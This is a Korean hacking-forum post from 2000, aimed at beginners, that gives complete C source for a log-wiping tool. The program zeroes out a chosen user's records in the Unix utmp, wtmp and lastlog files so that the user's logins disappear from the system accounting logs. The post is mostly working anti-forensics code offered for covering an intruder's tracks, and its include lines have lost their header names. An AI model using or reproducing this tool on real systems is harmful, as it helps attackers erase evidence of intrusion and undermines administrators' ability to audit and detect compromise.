Hacking 관련 게시판

Hacking 관련 게시판

2000/08/06(20:35) from 203.254.154.69
작성자 : 강줄기 (jkkang65@hanmail.net)	조회수 : 3094 , 줄수 : 100

Log 파일 지우기

[초보]LOG 파일 지우기
--------------------------------------------------------------------------------

LOG 파일 지우기

/etc/utmp, /usr/adm/wtmp와 /usr/adm/lastlog 파일을 변경합니다. 이것들은
텍스트 파일이 아니라서 vi로 편집할 수 없습니다. 특별한 목적을 지닌 프로그램을
작성해야 하죠.

세 함수들이 대략 하는 일은 같습니다. wtmp와 utmp,lastlog에서 사용자의 이름을
찾고 그 위치에 bzero함수를 이용해서 0으로 채워넣는 일을 합니다.

  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define WTMP_NAME "/usr/adm/wtmp"
  #define UTMP_NAME "/etc/utmp"
  #define LASTLOG_NAME "/usr/adm/lastlog"

  int f;

  void kill_utmp(char *who)
  {

/* 특수한 구조체를 이용해야 합니다.*/

  struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

/* 사용자 이름을 찾아야겠죠. */

  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof( utmp_ent ));

/* 찾았으면 되돌아가서 덮어씌웁니다.*/

  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  write (f, &utmp_ent, sizeof (utmp_ent));
  }
  close(f);
  }
  }

  void kill_wtmp(char *who)
  {
  struct utmp utmp_ent;
  long pos;
  pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  while(pos != -1L) {
  lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  pos = -1L;
  } else {
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof(struct utmp ));
  lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  write (f, &utmp_ent, sizeof (utmp_ent));
  pos = -1L;
  } else pos += 1L;
  }
  }
  close(f);
  }
  }

  void kill_lastlog(char *who)
  {
  struct passwd *pwd;
  struct lastlog newll;
  if ((pwd=getpwnam(who))!=NULL) {
  if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  bzero((char *)&newll,sizeof( newll ));
  write(f, (char *)&newll, sizeof( newll ));
  close(f);
  }
  } else printf("%s: ?\n",who);
  }

  main(int argc,char *argv[])
  {
  if (argc==2) {
  kill_lastlog(argv[1]);
  kill_wtmp(argv[1]);
  kill_utmp(argv[1]);
  printf("OK!\n");
  } else
  printf("Error.\n");
  }